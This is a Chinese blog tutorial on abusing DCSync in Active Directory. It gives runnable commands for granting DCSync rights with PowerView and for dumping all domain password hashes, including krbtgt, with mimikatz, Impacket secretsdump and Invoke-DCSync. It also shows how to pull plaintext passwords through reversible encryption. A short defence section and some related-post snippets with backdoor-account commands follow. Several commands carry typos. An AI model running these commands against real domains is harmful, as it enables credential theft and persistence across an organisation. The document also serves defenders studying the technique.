内网渗透之滥用DCSync

已于 2024-01-09 16:49:55 修改
阅读量144 收藏 1
点赞数
文章标签： 安全
于 2023-08-01 12:00:00 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44005305/article/details/132010946
版权

滥用DCSync

在域中，不同的域控之间，默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时，额外域控会像其他域控发起请求，请求同步数据。如果需要同步的数据比较多，则会重复上述过程。DCSync就是利用这个原理，通过目录复制服务（Directory
Replication
Service，DRS）的GetNCChanges接口像域控发起数据同步请求，以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。

在DCSync功能出现以前，要想获得域用户的哈希数据等，需要登陆域控并在其上执行操作才能获得域用户数据。2015年8月，新版的mimikatz增加了DCSync功能，他有效的’'模拟“了一个域控，并向目标域控请求账户哈希值等数据。该功能的最大特点是可以实现不登陆域控而获取目标域控上的数据。

注意 ：默认情况下，不允许从只读域控上获取数据，因为只读域控是不能复制同步数据给其他域控的。

DCSync的工作原理

DCSync是如何工作的呢？总的来说分为以下的两步：

1）在网络中发现域控
2）利用目录复制服务的GetNCChanges接口向域控发起数据同步的请求

下面来看看详细的工作过程：

当一个域控（我们称之为客户端）希望从另一个域控（我们称之为服务端）获得活动目录对象更新时，客户端域控会向服务端域控发起DRSGetNCChanes请求。该请求的响应包含一组客户端必须应用于其复制副本的更新。如果更新集太大，可能只有一条响应消息。在这种情况下，将完成多个DRSGetNCChanes请求和响应。这个过程被称为复制周期或简单的循环。

当服务端域控收到复制同步请求时，然后对执行复制的每个客户端域控来说，他会执行一个复制周期。这类似于客户端中使用的DRSGetNCChanes请求。

修改 DCSync ACL

到底是什么用户才具有运行DCSync 的权限呢？能不能通过修改普通用户的ACL使其获得DCSync的权限呢？带着这个疑问，我们往下看。

1、具有DCSync权限的用户

运行DCSync需要具有特殊的权限，默认情况下，只有以下组中的用户具有运行DCSync的权限

  • Administrator 组内的用户

  • Domain Admins 组内的用户

  • Enterprise Admins 组内的用户

  • 域控计算机账户

我们可以使用Adfind执行如下的命令查询域内具备具备DCSync权限的用户：

AdFind.exe -s subtree -b "DC=hack,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

2、修改DCSync的ACL

如何让普通域用户也获得DCSync的权限呢？一般情况下，只需要想普通域用户加入下面两条ACE即可：

  • DS-Replication-Get-Changes：复制目录更改权限，该权限只能从给定的域复制数据，不包括私密域数据。该ACE的rightsGUID为：1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。

  • DS-Replication-Get-Changes-ALL:复制目录更改所有项权限，该权限允许复制给定的任意域中的所有数据，包括私密域数据。该ACE为rightsGUID为：1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。

注意 ：其实还有 Replicating Directory Changes In Filtered
Set（复制筛选集中的目录更改权限）但还是很少见，仅在某些环境中需要，所以可以忽略。该ACE的rightsGUID为：89e95b76-444d-4e62-991a-0facbeda640c。

(1) 图形化赋予指定用户的DCSync权限

打开“Active Directory 用户和计算机”——>“查看“——>“高级功能”，找到域 hack.com
，右击，选择“属性"选项，然后在弹出的对话框中单击"安全"选项卡的”高级“按钮，可以看到Domain
Controlles具备"复制目录更改所有项的权限”,这也就是为什么Domain Controlles具备 DCSync权限了。然后单击”添加”
按钮，"主体”选项选择需要赋予权限的用户，这里的选择用户 hack\jack，“应用于"选择“只是这个对象”,如图所示

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UkOE542W-1690719821207)(https://image.3001.net/images/20230506/1683373900_64563f4c42fb0936c7747.png!small)]

在”权限“下勾选”复制目录更改“和"复制目录更改所有项"复选框，如图所示，单机”确定“按钮就可以看到用户hack具有的权限了，如图所示：用户jack具有DCSync权限。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E2FrP6IM-1690719821209)(https://image.3001.net/images/20230506/1683373922_64563f62864b4f378f433.png!small)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-a8IQOlS2-1690719821210)(https://image.3001.net/images/20230506/1683373932_64563f6c5c4fac739566a.png!small)]

（2）Powershell脚本赋予指定用户DSCync权限

可以使用Empire下的PowerView.ps1脚本执行命令如下，赋予用户test DCSync权限。

Import-Module .\pwerview.ps1;
Add-DomainObjectAcl -TargetIdentity 'DC=hack,DC=com' -PrincipalIde test -Rights DCSync -Verbose

DCSync 攻击

如果拿到了具有DCSync权限的用户，就能利用DCSync功能从指定域控获得域内所有用户的凭据信息了。

用户jack当前以被赋予了DCSync权限，下面介绍利用不同工具进行DCSync攻击。

1、Impacket

Impacket下的secretsdump.exe可以通过DCSync功能导出域用户的Hash，使用方法如下：

#使用impacket包中的secretsdump.exe程序直接读取
secretsdump.exe 域名/administrator:密码@IP -outputfile output_ntds

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-d0X7BT1n-1690719821211)(https://image.3001.net/images/20230506/1683373971_64563f936d7fee162c87c.png!small)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-I71SQpMM-1690719821212)(https://image.3001.net/images/20230506/1683373980_64563f9c2fb855e7fa93c.png!small)]

2、mimikatz

mimikatz也可以通过DCSync功能导出域用户的Hash，使用方法如下：

#获取域用户krbtgt的Hash
lasdump::dcsync /domain:hack.com /user:krbtgt
#获取所有用户的Hash
lsadump::dcsync /domain:hack.com /all /csv

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i9V0Dxtf-1690719821212)(https://image.3001.net/images/20230506/1683373999_64563fafa3521e6106727.png!small)]

3、 PowerShell脚本

下载地址：https://gist.github.com/monoxgas/9d238accd969550136db

Invoke-DCSync.ps1脚本也可以通过DCSync功能导出域用户的Hash，使用方法如下：

Import-Moudle .\Invoke-DCSync.ps1
#导出域内所有用户的Hash
Invoke-DCSync -DumForest | ft -wrap -autosize
#导出域内用户的krbtgt的Hash
Invoke-DCSync -DumpForest -Users @("krbtgt") | ft -wrap -autosize

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sfJSsb8A-1690719821213)(https://image.3001.net/images/20230506/1683374027_64563fcb5e2fa49ffa93d.png!small)]

利用DCSync 获取明文凭据

有时候利用DCSync可以获取明文凭据，这是因为账户勾选了"使用可逆加密存储密码的属性",用户再次更改密码会显示其明文密码。

当通过远程访问Internet身份验证服务(IAS)或使用质询握手身份验证协议（CHAP）身份验证时，必须启用“使用可逆加密存储密码”属性。在Internet信息服务中使用摘要式身份验证时，也需要启动此属性。启动此属性后，就能通过DCSync抓取到目标用户的明文凭据了

如图所示，在“jack属性”对话框勾选“使用可逆加密存储密码”选项，然后对用户jack进行密码更改

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NIvWFQn2-1690719821214)(https://image.3001.net/images/20230506/1683374050_64563fe24987c0a4a26b1.png!small)]

此时使用secretsdump.py脚本执行如下的命令获取获取用户jack的明文凭据：

python3 secretsdump.py hack/Administrator:123456 -dc-ip 192.168.41.10 -just-dc-user jack

DCSync攻击防御

防守方如何针对DCSync攻击做检测和防御呢？

1、DCSync攻击防御

由于DCSync攻击的原理是模拟域控向另外的域控发起数据同步的请求，因此，可以配置网络安全设备过滤流量并设置白名单，只允许指定白名单内的域控IP请求数据同步。

2、 DCSync ACL 滥用检测

下载地址：https://github.com/cyberark/ACLight

1）可以在网络安全设备上检测来自白名单以外的域控数据同步复制
2）使用工具检测域内具备DCSync权限的用户。这里可以使用Execute-
ACLight2.bat脚本文件进行检测，该工具输出的结果比较直观。执行完该脚本以后，会在当前目录的results生成三个文件。Privilege
Accounts -Layes Analysis.txt是我们要查看生成的结果文件，打开该文件即可看到有哪些用户具有DCSync权限，如图所示

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XCLx2YTu-1690719821215)(https://image.3001.net/images/20230506/1683374068_64563ff4cedf4cae7c46c.png!small)]

除了默认的Administrator域管理员有DCSync权限，用户jack也具有DCSync 权限。

如果发现域内恶意用户被赋予了DCSync权限后，可以使用Empire下的PowerView.ps1脚本执行如下的命令移除DCSync权限：

Import-Module .\powerview.ps1
Remove-DomainObjectACL -TargetIdentity “DC=hack,DC=com" -PrincipalIdentity jack -Rights DCSync

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EYvQcCtQ-1690719821216)(https://image.3001.net/images/20230506/1683374083_64564003da7543484da4c.png!small)]

mport-Module .\powerview.ps1
Remove-DomainObjectACL -TargetIdentity “DC=hack,DC=com" -PrincipalIdentity jack -Rights DCSync

[外链图片转存中…(img-EYvQcCtQ-1690719821216)]

网络安全工程师(白帽子)企业级学习路线

第一阶段：安全基础（入门）

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jTTcjSm-1690719821217)(https://picd.zhimg.com/80/v2-4f9b78990c8004842766b3e478b185b8_720w.png?source=d16d100b)]

第二阶段：Web渗透（初级网安工程师）

img

第三阶段：进阶部分（中级网络安全工程师）

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uSuUlCxi-1690719821219)(https://picd.zhimg.com/80/v2-43f03949b09dcf75169640b7ede64fa2_720w.png?source=d16d100b)]

如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！

学习资源分享

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QnuRv8m1-1690719821219)(C:\Users\Administrator\Desktop\网络安全资料图\微信截图_20230201105953.png)]

教IT的无语强
关注
内网渗透(六十三)之滥用DCSync
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
05-06 935
在域中，不同的域控之间，默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时，额外域控会像其他域控发起请求，请求同步数据。如果需要同步的数据比较多，则会重复上述过程。DCSync就是利用这个原理，通过目录复制服务（Directory Replication Service，DRS）的GetNCChanges接口像域控发起数据同步请求，以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。
内网渗透(七十七)之域权限维持之ACL滥用（中）
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
05-18 636
如图所示是微软对于msDS-AllowedToActOnBehalfOfOtherldentity 属性的描述jack是域中的一个普通用户。
域渗透-DCSync
mingyqf的博客
02-26 1407
作者：Zahad003 原文链接：https://www.cnblogs.com/Mikasa-Ackerman/p/yu-shen-touDCSync.html DCSync是域渗透中经常用到的技术(我在大致学习了以后发现确实如此) 利用条件: 获得以下任一用户的权限： Administrators组内的用户 Domain Admins组内的用户 Enterprise Admins组内的用户 域控制器的计算机帐户 Mimikatz实现 导出域内所有用户hash mimikatz.exe privile
内网渗透测试：DCSync 攻击技术的利用
dzqxwzoe的博客
08-20 694
在域环境中，不同域控制器（DC）之间，每 15 分钟都会有一次域数据的同步。当一个域控制器（DC 1）想从其他域控制器（DC 2）获取数据时，DC 1 会向DC 2 发起一个 GetNCChanges 请求，该请求的数据包括需要同步的数据。如果需要同步的数据比较多，则会重复上述过程。DCSync就是利用的这个原理，通过 Directory Replication Service（DRS） 服务的 GetNCChanges接口向域控发起数据同步请求。
域环境权限维持之Dcsync
内心不种满鲜花就会长满杂草
04-19 1477
当获得了域内管理员权限，如果能修改域内普通用户的权限，使其具有DCSync权限的话，那么普通域用户也能导出域内用户的哈希，这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync，域管和邮件服务器的机器账号有写ACL的权限，可以给指定用户添加Dcsync来dump域哈希
什么是DCSync
sangfor_edu的博客
10-28 765
在域环境中，域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时，会向其发送一个 GetNCChanges 请求，该请求包含了需要同步的数据，如果获取的数据较多，则会进行循环请求。DCSync是mimikatz在2015年添加的一个功能，利用的这个原理，通过 Directory Replication Service（DRS） 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求，能够用来导出域内所有用户的hash。
内网渗透-windows权限维持的方法
lza20001103的博客
08-26 1256
windows权限维持的方法 文章目录windows权限维持的方法一、影子账户二、粘滞键后门三、logon scripts后门五、注册表自启动后门六、屏幕保护程序后门七、计划任务后门八、服务自启动后门九、黄金票据十、白银票据十二、bitsadmin十五、CLR劫持 一、影子账户 1.使用如下命令创建隐藏用户并加入管理员组 net user test$ 123456 /add net localgroup administrators test$ /add 创建成功后使用net user命令无法查看到此用
红队专题-内网横向-工作组Workgroup与 Domain Active Directory域渗透
aming小老弟
12-21 1358
通过使用活动目录，管理员能够中心化、批量地更新和管理操作系统、应用、用户以及对数据的访问，而用户和管理员也能很容易地获取这些信息。而且因为活动目录具备中心化的管理能力，攻击者一旦获得域管理员权限，即可控制域内所有用户和主机，因此活动目录域环境也备受攻击者青睐。实际上LSA保护不能抵御这些攻击，它只会让你在执行这些攻击前，需要做一些额外的操作，让攻击变得更加困难一些。此功能基于PPL技术，它是一种纵深防御的安全功能，旨在“防止非管理员非PPL进程通过打开进程之类的函数串改PPL进程的代码和数据”。
渗透测试之攻击Windows认证
Blood_Pupil的博客
08-31 565
用户凭证收集 Hash NTLM + Kerbose PTH + compmgmt.msc
ad安全-Mimikatz DCSync
老北京砸酱锤的博客
10-19 802
2015 年 8 月添加到 Mimkatz 的一个主要功能是“DCSync”，它有效地“模拟”域控制器并从目标域控制器请求帐户密码数据。DCSync 由 Benjamin Delpy 和 Vincent Le Toux 编写。 DCSync 之前的漏洞利用方法是在域控制器上运行 Mimikatz 或 Invoke-Mimikatz 以获取 KRBTGT 密码哈希来创建黄金票。使用 Mimikatz 的 DCSync 和适当的权限，攻击者可以通过网络从域控制器中提取密码哈希以及以前的密码哈希，而无需交互式登
域渗透之DCSYNC攻击
weixin_65550121的博客
12-09 1229
2015年八月份Mimikatz新增了一个主要功能叫做"Dcsync"，使用这项技术可以有效的模拟域控制器并从目标域控上请求域内用户的Hash，这项技术为当下域渗透提供了极大的便利，可以直接远程dump域内hash，另外也衍生出很多的攻击方式。在域内，不同的域控制器之间，每隔15分钟都会有一次域数据的同步，当一个域控制器想从其他域控制器上面获取数据时，DC1会向DC2发起一个GetNCChanges请求，该请求的数据，包括需要同步的数据，如果需要同步的数据比较多，则会重复上面的过程。
利用DSCync进行域内权限维持
内心不种满鲜花就会长满杂草
03-02 548
一个域环境可以拥有多台域控制器，每台域控制器各自存储着一份所在域的活动目录的可写副本，对目录的任何修改都可以从源域控制器同步到本域、域树或域林中的其他域控制器上。当一个域控想从另一个域控获取域数据更新时，客户端域控会向服务端域控发送DSGetNCChanges请求，该请求的响应将包含客户端域控必须应用到其他活动目录副本的一组更新。通过情况下，域控制器之间每15分钟就会有一次域数据同步。DCSync技术就是利用域控制器同步的原理，通过DRS服务的某接口向域控发起数据同步请求。
mimikatz使用方法
课嗨教育的专栏
04-23 3868
0x00 简介 Mimikatz 是一款功能强大的轻量级调试神器，通过它你可以提升进程权限注入进程读取进程内存，当然他最大的亮点就是他可以直接从 lsass.exe进程中获取当前登录系统用户名的密码， lsass 是微软 Windows 系统的安全机制它主要用于本地安全和登陆策略，通常我们在登陆系统时输入密码之后，密码便会储存在 lsass 内存中，经过其 wdigest 和 tspkg 两个模块调用后，对其使用可逆的算法进行加密并存储在内存之中， 而 mimikatz 正是通过对 lsass 逆算获取.
域内 dcsync 权限维持
最新发布
admin的博客
05-23 1254
DCSync 是域渗透中经常会用到的技术，其被整合在了 Mimikatz 中。在 DCSync 功能出现之前，要想获得域用户的哈希，需要登录域控制器，在域控制器上执行代码才能获得域用户的哈希。该功能可以模仿一个域控制器，从真实的域控制器中请求数据，例如用户的哈希。该功能最大的特点就是不用登陆域控制器，即可远程通过域数据同步复制的方式获得域控制器上的的数据。
域控权限维持2
wuxinweii的博客
12-06 438
利用黄金票据维持域内权限 环境： 1.域控主机的管理员账户 2.域内一台主机以及域成员用户 一、导出krbtgt的NTLM hash，用来伪造黄金票据 lsadump::dcsync /domain:[域名] /user:krbtgt 二、获取域SID wmic useraccount get name,sid 三、获取当前用户的SID net group “domain adminis” /domain 四、获取域内某个主机权限后，查看当前用户以及所诉组 net user wxw2 /domain
集权安全 | 域渗透中的 DCSync技术分析
ZAWX_NETSTARSEC的博客
05-26 1235
DCSync是AD域渗透中常用的凭据窃取手段，默认情况下，域内不同DC每隔15分钟会进行一次数据同步，当一个DC从另外一个DC同步数据时，发起请求的一方会通过目录复制协议（MS- DRSR）来对另外一台域控中的域用户密码进行复制，DCSync就是利用这个原理，“模拟”DC向真实DC发送数据同步请求，获取用户凭据数据，由于这种攻击利用了Windows RPC协议，并不需要登陆域控或者在域控上落地文件，避免触发EDR告警，因此DCSync时一种非常隐蔽的凭据窃取方式。
利用机器账户进行域权限维持
渗透测试研究中心
09-02 739
0x00 前言机器帐户被许多技术用于权限提升和横向移动，但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的userAccountControl属性中，使其转换为域控制器。在这两种情况下，攻击者都可以通过机器帐户进行身份验证并执行特权操作，例如通过 DCSync 导出所有域哈希等。@Sean Metcalf是第一个公开披露如何通过将机...
黑客内网渗透技术解析
"内网渗透常用手法" 内网渗透是黑客攻击的一种策略，通常发生在攻击者已经突破了外层防御并进入内部网络之后。在安全措施日益增强的今天，外网渗透变得越来越困难，因此内网渗透成为黑客寻找敏感信息和控制目标系统...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值